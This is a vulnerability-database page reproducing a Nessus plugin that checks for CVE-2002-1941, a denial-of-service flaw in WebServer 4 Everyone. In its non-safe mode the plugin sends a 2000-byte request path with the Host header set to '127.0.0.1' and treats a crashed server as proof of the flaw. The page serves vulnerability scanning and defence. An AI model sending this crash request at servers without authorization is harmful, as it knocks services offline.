Lucene search

K
nessusThis script is Copyright (C) 2002-2018 Tenable Network Security, Inc.WS4E_TOO_LONG_URL.NASL
HistoryNov 25, 2002 - 12:00 a.m.

WebServer 4 Everyone Host Field Header Buffer Overflow

2002-11-2500:00:00
This script is Copyright (C) 2002-2018 Tenable Network Security, Inc.
www.tenable.com
13

5 Medium

CVSS2

Attack Vector

NETWORK

Attack Complexity

LOW

Authentication

NONE

Confidentiality Impact

NONE

Integrity Impact

NONE

Availability Impact

PARTIAL

AV:N/AC:L/Au:N/C:N/I:N/A:P

0.004 Low

EPSS

Percentile

74.5%

The remote web server is running a version of WebServer 4 Everyone that crashes when it receives a request for a long filename (2000 bytes) and the Host request header is set to ‘127.0.0.1’.

#
# (C) Tenable Network Security, Inc.
#

# Some vulnerable servers:
# WebServer 4 Everyone v1.28

# References:
# From:"Tamer Sahin" <[email protected]>
# To:[email protected]
# Subject: [SecurityOffice] Web Server 4 Everyone v1.28 Host Field Denial of Service Vulnerability

include("compat.inc");

if(description)
{
 script_id(11167);
 script_version ("1.28");

 script_cve_id("CVE-2002-1941");
 script_bugtraq_id(6034);
 
 script_name(english:"WebServer 4 Everyone Host Field Header Buffer Overflow");
 script_summary(english:"Webserver4everyone too long URL with Host field set");
 
 script_set_attribute(
  attribute:"synopsis",
  value:"The remote web server is prone to a buffer overflow attack."
 );
 script_set_attribute(attribute:"description", value:
"The remote web server is running a version of WebServer 4 Everyone
that crashes when it receives a request for a long filename (2000
bytes) and the Host request header is set to '127.0.0.1'." );
 script_set_attribute(
  attribute:"see_also", 
  value:"https://seclists.org/bugtraq/2002/Oct/340"
 );
 script_set_attribute(
  attribute:"solution", 
  value:"Unknown at this time."
 );
 script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:N/I:N/A:P");
 script_set_cvss_temporal_vector("CVSS2#E:U/RL:OF/RC:C");
 script_set_attribute(attribute:"exploitability_ease", value:"No known exploits are available");
 script_set_attribute(attribute:"exploit_available", value:"false");
 script_set_attribute(attribute:"plugin_publication_date", value: "2002/11/25");
 script_cvs_date("Date: 2018/11/15 20:50:26");
 script_set_attribute(attribute:"plugin_type", value:"remote");
 script_end_attributes();

 script_category(ACT_MIXED_ATTACK); # mixed
 script_copyright(english:"This script is Copyright (C) 2002-2018 Tenable Network Security, Inc.");
 script_family(english:"Web Servers");

 script_dependencie("find_service1.nasl", "www_too_long_url.nasl", "http_version.nasl");
 script_require_ports("Services/www",80);
 script_exclude_keys("www/too_long_url_crash");
 script_require_keys("www/webserver4everyone");
 exit(0);
}

#

include("global_settings.inc");
include("misc_func.inc");
include("http.inc");

port = get_http_port(default:80);

if(safe_checks())
{ 
  b = get_http_banner(port: port);
  if (egrep(string: b, pattern: "WebServer 4 Everyone/1\.([01][0-9]?|2[0-8])"))
  {
    report = string(
     "\n",
     "Note that Nessus has determined the vulnerability exists based solely\n",
     "on the version returned in Server response headers."
    );
    security_warning(port:port, extra:report);
  }
  exit(0);
}

if(http_is_dead(port:port))exit(0);

w = http_send_recv3(
  method      : "GET", 
  port        : port,
  item        : "/" + crap(2000),
  add_headers : make_array("Host", "127.0.0.1"),
  version     : 11
);

if(http_is_dead(port: port))
{
  security_warning(port);
  set_kb_item(name:"www/too_long_url_crash", value:TRUE);
}

5 Medium

CVSS2

Attack Vector

NETWORK

Attack Complexity

LOW

Authentication

NONE

Confidentiality Impact

NONE

Integrity Impact

NONE

Availability Impact

PARTIAL

AV:N/AC:L/Au:N/C:N/I:N/A:P

0.004 Low

EPSS

Percentile

74.5%

Related for WS4E_TOO_LONG_URL.NASL